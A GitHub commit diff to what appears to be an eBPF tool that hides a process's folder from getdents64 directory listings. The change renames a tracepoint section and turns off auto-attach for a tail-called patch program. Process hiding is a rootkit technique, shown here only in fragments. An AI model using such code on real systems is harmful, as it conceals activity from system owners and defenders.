File tree Expand file tree Collapse file tree 2 files changed +4
-1
lines changed
Expand file tree Collapse file tree 2 files changed +4
-1
lines changed Original file line number Diff line number Diff line change @@ -174,7 +174,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
174174 return 0 ;
175175}
176176
177- SEC ("tp/syscalls/sys_exit_getdents64 " )
177+ SEC ("tp/unused " )
178178int handle_getdents_patch (struct trace_event_raw_sys_exit * ctx )
179179{
180180 // Only patch if we've already checked and found our pid's folder to hide
Original file line number Diff line number Diff line change @@ -180,6 +180,9 @@ int main(int argc, char **argv)
180180 goto cleanup ;
181181 }
182182
183+ // 禁用 patch 程序的自动 attach,因为它只能通过尾调用执行
184+ bpf_program__set_autoattach (skel -> progs .handle_getdents_patch , false);
185+
183186 // Setup Maps for tail calls
184187 int index = PROG_01 ;
185188 int prog_fd = bpf_program__fd (skel -> progs .handle_getdents_exit );
You can’t perform that action at this time.
0 commit comments